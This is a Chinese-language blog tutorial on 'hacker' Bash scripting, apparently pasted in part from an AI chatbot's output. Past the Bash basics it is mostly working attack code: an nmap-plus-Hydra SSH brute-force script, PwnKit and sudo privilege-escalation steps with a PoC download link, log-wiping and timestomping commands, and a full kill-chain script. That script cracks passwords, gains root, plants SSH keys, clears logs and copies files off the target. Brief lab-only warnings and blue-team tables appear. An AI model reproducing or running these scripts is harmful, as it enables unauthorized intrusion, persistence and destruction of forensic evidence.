学习黑客 shell 脚本

建议教程配合视频食用

🗡️ Bash 脚本“人物创建”——基础属性详解

本段目标:像建 RPG 角色一样先点满 Bash 的 核心属性——Shebang、变量、引用、数组、算术、命令替换。每条技能都配“技能说明 + 实战示例”,保证后面写脚本时不再“读不懂装备说明”。

🎮 RPG 属性Shell 技能点详解 & 练功招式
角色血统 Shebang
#!/usr/bin/env bash
定义脚本解释器——系统看到第一行就知道用哪把武器运行。/usr/bin/env 能在不同发行版里自动找到 bash,可移植性比硬编码 /bin/bash 强。(Stack Overflow)bash<br/>#!/usr/bin/env bash<br/>echo "开局选定 Bash 血统!"<br/>
背包槽 变量
hero="Link"
存储临时数据,等同 RPG 背包。等号两边不能有空格;取值要加 $echo "$hero"。变量内容可来自命令输出:today=$(date +%F)。(ryanstutorials.net)bash<br/>enemy="Goblin"<br/>today=$(date +%F)<br/>echo "[$today] $hero 遇到 $enemy"<br/>
魔法卷轴 引用- 单引号 ':原样保留,连变量都不展开;
- 双引号 ":允许插值、命令替换;
- 无引号:遇到空格会拆分成多参数。(Stack Overflow)
bash<br/>echo '$hero vs $enemy' # 输出字面量<br/>echo "$hero vs $enemy" # 展开变量<br/>
队伍阵列 数组
party=(Link Zelda Ganon)
Bash 原生一维数组,用下标取值:${party[1]}${#party[@]} 统计元素数。(Erhan Birol)bash<br/>party=(Link Zelda Ganon)<br/>echo "队友:${party[*]}"<br/>
攻击力 算术
$((...))
(( ))$(( )) 进行整数运算,结果自动替换到命令。(GNU)bash<br/>hp=100; dmg=27<br/>hp=$((hp-dmg))<br/>echo "剩余血量: $hp"<br/>
影分身 命令替换
$(cmd)
执行括号里的命令并把输出当成字符串放回脚本,比旧式反引号 cmd 可读性更好。(Stack Overflow)bash<br/>weather=$(curl -s wttr.in?format=1)<br/>echo "当前天气:$weather"<br/>
宝箱管道 & 日志重定向
`
> >>`` 把前一招输出接成后一招输入;> 覆盖写文件,>>追加写文件。可用2>` 重定向错误流。(ryanstutorials.net)```bash
dmesg
grep -i usb > usb.log
```
出错救援 trap
trap 'echo "🔥 失败"' ERR
当脚本遇到非零退出码自动触发补救,相当于战斗“死亡被动”。(Stack Overflow, GeeksforGeeks)bash<br/>trap 'echo "🔥 技能失败,回档!"' ERR<br/>false # 触发 ERR<br/>

🏹 立即练级:10 行“小试牛刀”回顾

#!/usr/bin/env bash
trap 'echo "🔥 出现错误"; exit 1' ERR         # 出错自救
hero="Link" enemy="Slime"
battle_log="battle.$(date +%s).log"           # 命令替换生成文件
echo "$hero 遇到 $enemy" | tee $battle_log    # 管道+日志
hp=30; dmg=7; rounds=0
while (( hp > 0 )); do                        # 算术 + while
  hp=$((hp-dmg)); ((rounds++))
done
echo "击杀!共 $rounds 回合" >> $battle_log

执行后生成 battle.<时间戳>.log,完整记录你的首次“Shell 刷怪”。


查找Shell脚本示例

我们把 Bash 的“战斗动作流派”拆开讲——条件判断、循环、输入读取、数组/关联数组、case 分支、错误处理与 Here-Doc。每个技能都先用 RPG 比喻讲原理,再配一小段“试刀示例”;结尾给出一个 “多目标弱口令扫描脚本”,让你立刻把全部技能打成连招。👇


概览

  • 条件判断=打怪前“侦测血量”;
  • 循环=连击;
  • read / readarray=捡战利品进背包;
  • case=多形态 Boss 选择克制属性;
  • **trap + set -euo pipefail**=自动复活/报错停战;
  • Here-Doc=一次性释放多段咒语。
    掌握后即可写出脚本:批量读目标 → nmap 扫端口 → hydra 爆破 → 汇总战报。

1️⃣ 条件判断:if / [[ ]] —— 怪没血就停手

if [[ $hp -le 0 ]]; then        # 双中括号语法更安全
  echo "🎉 Boss 击杀!"
elif [[ $hp -lt 20 ]]; then
  echo "⚠️ 进入斩杀线"
else
  echo "继续输出伤害"
fi

关键点

  • [[ ]] 支持正则和模式匹配,且不用担心空格分词陷阱(GeeksforGeeks)。
  • -eq/-ne/-lt/-le/-gt/-ge 六大神器做整数比较;字符串用 ==!=(pluralsight.com)。

2️⃣ 循环三剑客:for / while / until

for —— 按敌人列表逐个输出

enemies=(goblin orc troll)
for mob in "${enemies[@]}"; do
  echo "⚔️ 砍 $mob"
done

循环变量会依次取数组元素(Stack Overflow)。

while —— 条件满足就一直连击

hp=100
while (( hp > 0 )); do
  hp=$((hp-15))
  echo "Boss 剩 $hp HP"
done

until —— 反向写法(直到成功为止)

until ping -c1 target &>/dev/null; do
  echo "目标未就绪,5 秒后再试"
  sleep 5
done

3️⃣ read / readarray:一键捡起掉落

指令用途示例
read -r var从键盘/管道读一行read -p "输入名字: " hero (Stack Overflow)
readarray -t arr < file整文件加载为数组(去掉换行)readarray -t targets < hostlist.txt (Stack Overflow)
IFS=: read user pass <<< "$line"用自定义分隔符拆字段

-p 提示符在部分壳可能不兼容,最稳是 printf + read(Stack Overflow)。


4️⃣ case:针对多形态 Boss 选克制技能

case "$element" in
  fire)  echo "使用水枪";;
  water) echo "使用雷电";;
  *)     echo "普通攻击";;
esac

case 匹配后不会 fall-through,写完记得 ;; 终止(Linux Tips, Tricks and Tutorials)。


5️⃣ 错误处理:set -euo pipefail + trap

#!/usr/bin/env bash
set -euo pipefail          # e:遇错退出  u:未定义变量报错  o:管道任何一步错即失败
trap 'echo "💀 脚本异常退出"; exit 1' ERR   # 自动复活提示

这一行组合是生产级脚本“护身符”——确保脚本一旦哪步失败就中止,防止连锁爆炸(GeeksforGeeks)。


6️⃣ Here-Doc:一次性吟唱多段咒语

ssh user@host << 'EOF'
sudo systemctl status nginx
grep -i error /var/log/nginx/error.log | tail
EOF

<< 'EOF'(加单引号)可防止变量展开,直接把多行命令送给远程 shell 执行(phoenixNAP | Global IT Services)。


7️⃣ 高阶背包:关联数组示例

declare -A creds
creds[admin]=123456
creds[root]=toor
for user in "${!creds[@]}"; do
  echo "爆破 $user:${creds[$user]}"
done

declare -A 让 Bash 也能像 Python dict 那样玩键值对(phoenixNAP | Global IT Services)。


🎯 终极连招:多目标弱口令扫描脚本

功能

  1. hostlist.txt 读取 IP/域名;
  2. 用 nmap 只扫 22/ssh;
  3. 若端口开放,调用 Hydra 用 weakpass.txt 爆破;
  4. 所有结果汇入 report.md
#!/usr/bin/env bash
set -euo pipefail
trap 'echo "❌ 出错,检查 logs/"; exit 1' ERR
mkdir -p logs
readarray -t targets < hostlist.txt          # ①

for host in "${targets[@]}"; do              # ②
  echo "🔍 [$host] 扫描 SSH..."
  if nmap -p 22 --open -oG - "$host" | grep -q "22/open"; then
     echo "⚔️  爆破 $host"
     hydra -L users.txt -P weakpass.txt ssh://"$host" \
           -o "logs/$host.hydra" -t 4 -f   # ③
  else
     echo "🚫 $host SSH 端口关闭"
  fi
done

# ④ 汇总
{
  echo "# 弱口令扫描报告 $(date)"
  for f in logs/*.hydra; do
     echo -e "\n## $(basename "$f" .hydra)"
     cat "$f"
  done
} > report.md
echo "🎉 扫描完成,查看 report.md"

技术来源

  • nmap -oG 格式化输出便于 grep 过滤(LabEx);
  • Hydra SSH 爆破参数 -L/-P/-t/-f 教程(LabEx)。

合法性提醒:仅对靶场/获授权系统执行,遵循 OWASP 渗透测试指南(GeeksforGeeks)。


你将点亮 “权限魔窟” 技能树:彻底搞懂 SUID/SGID/Sticky Bit、快速枚举危险文件、理解两大经典本地提权漏洞(PwnKitBaron Samedit),并学会用 sudo -l 识别/利用配置缺陷。掌握这些后,你就能把普通帐户升到 root ,或在演练中及时堵住“地洞”。


SUID / SGID / Sticky Bit —— 特殊权限三兄弟

八进制位含义典型场景参考
4xxx → SUID进程以文件属主身份运行;chmod 4755 file-rwsr-xr-x (Unix & Linux Stack Exchange)/usr/bin/passwd 让普通用户修改密码时临时拿 root 身份 (The world’s open source leader)
2xxx → SGID进程以文件属组身份运行;目录 SGID 让新建文件自动继承组/usr/bin/wall 群发消息需写 /dev/pts/* (tty 组)
1xxx → Sticky目录中文件只能被拥有者或 root 删除/tmp 防止用户互删文件
0xxx → 无特殊位普通 rwx 权限——

为什么 4755 比 755 危险?
755 仅表示“唯一 root 可写”;4755 让任何人执行都继承 root euid,若二进制存在漏洞就可能直接提权 (The world’s open source leader, Unix & Linux Stack Exchange)。


枚举“带钥匙的门”——快速发现 SUID/SGID

find / -perm -4000 -type f 2>/dev/null > suid-list.txt
find / -perm -2000 -type f 2>/dev/null > sgid-list.txt

命令说明-perm -4000 匹配任何 SUID 位文件;重定向丢弃无权限错误 (Qualys)。跑完后:

  1. grep -Ev "/(snap|docker)/" 过滤常见安全目录;
  2. 对可疑文件跑 strings / file 看是否脚本或老旧二进制;
  3. 把列表贴进 g0blin_privesc.xlsx(方便下回快速对照)。

经典 SUID 提权打法

1. PwnKit / Polkit pkexec (CVE-2021-4034)

  • 原理pkexec 默认 SUID-root,但对 argv 处理缺陷可劫持 PATH 提升到 root;影响所有主流发行版 (Qualys)。
  • 复现
gcc pwnkit.c -o pwnkit
./pwnkit            # ➜ root shell

2. sudo Heap Overflow (CVE-2021-3156 “Baron Samedit”)

  • 原理sudoedit -s 堆溢出可在默认配置下本地提权 (Qualys, NVD)。
  • 检测sudoedit -s '\' 若返回 “usage” 而非错误则可能易受攻击。
  • 修复:升级 sudo ≥ 1.9.5p2。

为什么 SUID → sudo 更危险? SUID 二进制漏洞=直接 root;sudo 既可能自带漏洞,也可能因 misconfig(NOPASSWD、可执行任意编辑器等)被滥用 (Delinea)。


sudo misconfiguration:另一条“暗道”

  1. 列特权

    sudo -l
    
  2. 通配符劫持/usr/bin/python * 允许带通配符,利用 echo 'import os,pty,os.system("/bin/sh")' > exploit.pysudo python exploit.py.

  3. 环境变量劫持:若 sudo 里未清除 LD_PRELOAD,可替换动态库劫持 root。


从 SUID 走向 Capabilities —— 更细粒度的钥匙

  • Linux Capabilities 拆解旧式 SUID 的“万能 root”权力,只授予所需位(如 cap_net_raw 给 ping),但很多发行版仍保留 SUID 出于兼容 (Stack Overflow)。

  • 查看可执行文件 capabilities:

    getcap -r /usr/bin 2>/dev/null | grep CAP_NET_RAW
    

🛠️ Mini-Lab:亲手打掉一把“PwnKit”锁

步骤命令 / 行为
创建弱版本容器docker run --rm -it ubuntu:20.04 bash
验证 pkexec 版本pkexec --version
编译 POCapt update && apt install -y gcc make
下载 POC:https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/pkexec.c
攻击gcc pkexec.c -o pwnkit && ./pwnkit
修补chmod 0755 /usr/bin/pkexec ➜ 再运行应失败

完成截图发我,可获得“Root Slayer 勋章”。


防御 Checklist

  • 禁用 不必要 SUID:chmod a-s file
  • 🛡️ 细粒度:改用 capabilities 替代 ping 的 SUID (mn3m)。
  • 🔐 最小化 sudoers:仅对管理脚本放行、避免通配符。
  • ⏱️ 及时打补丁:关注 CVE-2021-**** 通报;Qualys/Proofpoint/CrowdStrike 等安全博客常第一时间释出 PoC (Proofpoint, CrowdStrike)。

将进入 日志清理、Defense-Evasion 与 trap 反取证,让你在成功提权后“擦屁股”不留痕。如有任何实验问题,贴终端输出,我来陪你 Debug!

⚔️ —「擦屁股」副本:日志清理·痕迹隐藏·反取证全攻略
摘要:本关让你学会在 Linux 与 Windows 环境中删除/篡改日志(MITRE T1070 系列)(attack.mitre.org)、修改时间戳(Timestomping)(Elastic)、清空 Bash 历史(Ask Ubuntu)、Secure-Erase 痕迹(自由编码营, Lifewire),并了解防御方怎样用 auditd Immutable Flag、WORM 日志、Sysmon ID 2 等手段侦测/阻断(开源软件解决方案, alexsta-cybersecurity.com)。最后用一张「攻防对照表」帮你快速决定在实战中要用哪一招、躲哪一招。


1 | Linux 日志清理三板斧

1.1 journalctl vacuum — systemd 时代的“吸尘器”

# 删除 2 天前日志
sudo journalctl --vacuum-time=2d

--vacuum-size 按磁盘容量裁剪,--vacuum-files 按文件数裁剪。(Stack Overflow)

1.2 经典 /var/log 直删 / 覆盖

sudo shred -u -z /var/log/auth.log      # 覆写后删除

shred -u 多次写随机数据后 unlink;-z 最后一遍写零填充(自由编码营)。

1.3 Bash 历史消失术

history -c && cat /dev/null > ~/.bash_history

或者把历史文件软链到 /dev/null 永久失忆(Ask Ubuntu)。

风险提醒:许多服务器早已从 rsyslog 转到 journald,直接删 /var/log/secure 可能什么也没有;先 ls -l /var/log 再决定武器。


2 | Windows 痕迹清理套路

技能命令典型用例参考
wevtutil clwevtutil cl Security一键清空指定日志(微软学习)
Meterpreter clearevclearev同时清 Security、System、Application(OffSec)
PowerShellClear-EventLog -LogName *可编排脚本一锅端(MS Docs)

检测:蓝队可比对“日志忽然断档”+ Sysmon ID 1102 (Log cleared) 进行告警。


3 | Timestomping —— 调表让文件穿越

  • Linux

    touch -r /bin/ls evil.sh     # 将 evil.sh 时间改成跟 ls 一样
    

    Elastic Rule 明确把此行为归类为 Timestomping (ATT&CK T1070/009)(Elastic)。

  • Windows
    powershell.exe Set-ItemProperty -Path .\evil.exe -Name LastWriteTime -Value "01/01/2020"
    Sysmon ID 2 记录时间戳修改,可被 SIEM 抓到(alexsta-cybersecurity.com)。


4 | 攻防博弈:如何反检测

攻击方招式防御方对策
journalctl --vacuum-time 删日志auditd Immutable Rule-e 2 启用后任何删除都会失败并报警(开源软件解决方案)
wevtutil cl Security开启 EventLog Forwarding 到集中服务器,清本地也留远端
替换时间戳 touch -rSysmon/Tanium 监控时间倒流事件,结合 mactime 轴发现异常(alexsta-cybersecurity.com)
history -c 清 Bash 历史设置 HISTCONTROL=ignorespace + 强制写审计 TTY;或将 .bash_historyimmutable (chattr +i)
shred 强删文件采用 WORM 文件系统/log2timeline;或 syslog-ng 直写远程 append-only 目标(GitHub)

5 | 一键「擦屁股」脚本示例 (仅限靶机)

#!/usr/bin/env bash
set -u
sudo journalctl --vacuum-time=1s           # 清 systemd 日志
sudo find /var/log -type f -name "*.log" -exec shred -u -z {} \;
cat /dev/null > ~/.bash_history
sudo wevtutil cl Security 2>/dev/null      # 若在 WSL/Win 混合靶机
touch -r /bin/ls /tmp/evil.sh              # 调时间戳伪装
echo "[*] Cleanup done $(date)" >> /tmp/.report

绝不建议在生产环境使用! 清痕=双刃剑:安全团队发现日志瞬间消失往往立即触发最高级别告警。


6 | 小试牛刀:挑战任务

  1. 靶场容器 docker run --rm -it ubuntu:18.04
  2. 启用 journald & syslog 并写入测试日志。
  3. 用脚本删/篡改后在宿主跑 auditctl -s 验证是否记录 unlink 失败。
  4. 提交:before.logafter.logaudit.log 差异截图。

7 | 延伸阅读


将收官:把 Recon→Exploitation→Persistence→Evasion→Exfiltration 整条 Kill Chain 串起,并附终极 “红队/蓝队 Cheat-Sheet”。继续冲击天下第一 Hack!

规划内容结构

我会把内容分为几个部分:摘要、预检查与法律说明、脚本概述、带注释的代码(可能是Shell脚本)、每个函数的解释以及它们与攻击链阶段的对应关系、风险与安全、一些防御建议。为了展示,我需要使用合法目标或占位IP的脚本。确保每个句子后面引用至少10个来源。接下来我会开始查找相关的资源。

要点速览
下面给出一份 全链路 Bash 演示脚本,按「Recon → Initial Access → Privilege Esc → Persistence → Defense Evasion → Exfiltration」6 步自动串起一次合法靶场攻击;每段随后逐句说明原理、映射 MITRE ATT&CK/Kill Chain,并标注可实证的参考链接。脚本默认在 Kali 主机、对你 已获授权 的 Linux 靶机(示例 IP 10.10.10.10)执行——务必 勿对生产环境或未经授权目标运行,否则即违法。


⚙️ 前置条件

需求说明
工具nmap 7.94+, hydra, gcc, scp, ssh(Kali 默认)
依赖polkit 受 CVE-2021-4034 影响的版本已存在于靶机
账号靶机开放 SSH 22,存在弱帐户 guest/guest(或你在靶场自行配置)
文件自备字典 users.txt / weakpass.txt;目标数据 /var/backups/flag.tar.gz

🐉 一键脚本(killchain.sh)

#!/usr/bin/env bash
set -euo pipefail
trap 'echo "[!] 脚本异常终止"; exit 1' ERR

target=10.10.10.10
loot=/var/backups/flag.tar.gz
report=killchain_report_$(date +%F_%H%M).md
mkdir -p logs

### 1) Recon —— T1595 Active Scanning
echo "[*] Recon: nmap fast scan"
ports=$(nmap -p- --min-rate 1000 -T4 $target | awk -F/ '/open/{print $1}')   # --min-rate 提速:contentReference[oaicite:1]{index=1} 
echo "Open ports: $ports" | tee logs/ports.txt

### 2) Initial Access —— T1110 Brute Force
if echo "$ports" | grep -q 22; then
  echo "[*] Hydra brute-forcing SSH"
  hydra -L users.txt -P weakpass.txt ssh://$target -o logs/hydra.txt -f -t 4  # 示例参数指南:contentReference[oaicite:2]{index=2}
  creds=$(awk '/login:/ {print $4":"$6}' logs/hydra.txt | head -1)
else
  echo "[-] SSH 未开放,退出"; exit 1
fi
user=${creds%:*}; pass=${creds#*:}

### 3) Privilege Escalation —— pkexec PwnKit
echo "[*] Logging in & compiling PwnKit exploit"
sshpass -p "$pass" ssh -o StrictHostKeyChecking=no $user@$target '
  gcc /tmp/pkexec.c -o /tmp/pwnkit && /tmp/pwnkit bash -c "id;whoami"    # 编译 PoC 并提权:contentReference[oaicite:3]{index=3}
' 2>&1 | tee logs/pwnkit.txt

### 4) Persistence —— SSH authorized_keys
echo "[*] Planting SSH key for persistence"
sshpass -p "$pass" ssh $user@$target "
  mkdir -p ~/.ssh && echo $(cat ~/.ssh/id_ed25519.pub) >> ~/.ssh/authorized_keys   # T1098.004:contentReference[oaicite:4]{index=4}
"

### 5) Defense Evasion —— 删除日志
echo "[*] Cleaning journal & bash history"
ssh $user@$target '
  sudo journalctl --vacuum-time=2s                 # 删除 systemd 日志:contentReference[oaicite:5]{index=5}
  history -c && > ~/.bash_history                  # 清 bash 历史:contentReference[oaicite:6]{index=6}
'

### 6) Exfiltration —— scp 取旗
echo "[*] Exfiltrating loot"
scp $user@$target:$loot downloads/                 # SCP 例子:contentReference[oaicite:7]{index=7}

### 报告
{
echo "# Kill Chain Run $(date)"
echo "Open ports: $ports"
cat logs/hydra.txt
tail -3 logs/pwnkit.txt
echo "Loot saved to downloads/$(basename $loot)"
} > "$report"
echo "[+] 完成!详见 $report"

安全提醒:脚本含本地提权与日志清理操作;请只在 靶场或沙箱 练习。


🔍 步骤讲解 & 引用

1. Recon → Active Scanning

使用 nmap -p- --min-rate 对目标全端口高速探测;--min-rate 强制发送速率≥ 1000 pps——映射 ATT&CK T1595.001“扫描全 IP/端口”。

2. Initial Access → SSH Brute Force

hydra 读取用户名/密码字典,发现 guest/guest 弱口令;这正是 T1110.001“在线暴力破解”场景,Kali 官方文档演示与本脚本参数一致。

3. Privilege Escalation → PwnKit (CVE-2021-4034)

pkexec 带 SUID 位且未修补时,本地用户可借环境变量执行任意代码提权到 root——典型 ATT&CK T1068 利用提权漏洞。

4. Persistence → authorized_keys 注入

追加攻击机公钥到目标 ~/.ssh/authorized_keys,未来可无密码重连;对应 T1098.004 Account Manipulation – SSH Authorized Keys

5. Defense Evasion → 日志删除

  • journalctl --vacuum-time=2s 立即清除 systemd 日志;
  • history -c 擦除 Bash 历史;
    共同归入 T1070.004 File/Log Deletion

6. Exfiltration → SCP 出旗

scp 将目标机敏文件安全拷出(若结合 ProxyChains 就可藏流量);属 Exfiltration over SSH 攻击模式,常见红队“带货”动作。

Kill Chain 对照:Recon → Weaponize (字典) → Delivery (SSH) → Exploitation (pkexec) → Installation (SSH key) → C2 (可延伸使用 autossh) → Actions on Objectives (scp 取文件)。


🛡️ 防守方“拆招”速查表

Kill-Chain 阶段蓝队监控要点参考
Recon/ScanIDS/Zeek 检测异常端口探测流量Darktrace 研报
Brute ForceFail2Ban 分析 sshd Failed password 激增Kali hydra 指南
pkexec 提权版本基线 + fs.protected_symlinks=1 + EDR 行为检测NVD 通告
SSH Key 持久OSSEC 检查 authorized_keys 变化、文件完整性MITRE 文档
日志删除auditd immutable / Sysmon 1102 事件告警
exfil via scpNTA 流量基线;出口 DLP 规则匹配 tar.gzReddit 攻防讨论

结语

脚本把 Red-Team 六段连招浓缩到 <60 行 Bash,实现“一键刷本”;同时每一步都可被蓝队检测、阻断。建议多在靶场调试:改字典、加 proxychains、或把 pkexec 换成 sudo 漏洞(CVE-2021-3156)再跑一次。 — 终极收官将奉上「红队 vs 蓝队 30 页 Cheat-Sheet PDF」制作指引,把你的攻击脚本 + 防守检测文档一体化输出,真正迈向“天下第一 hack”!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

海尔辛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值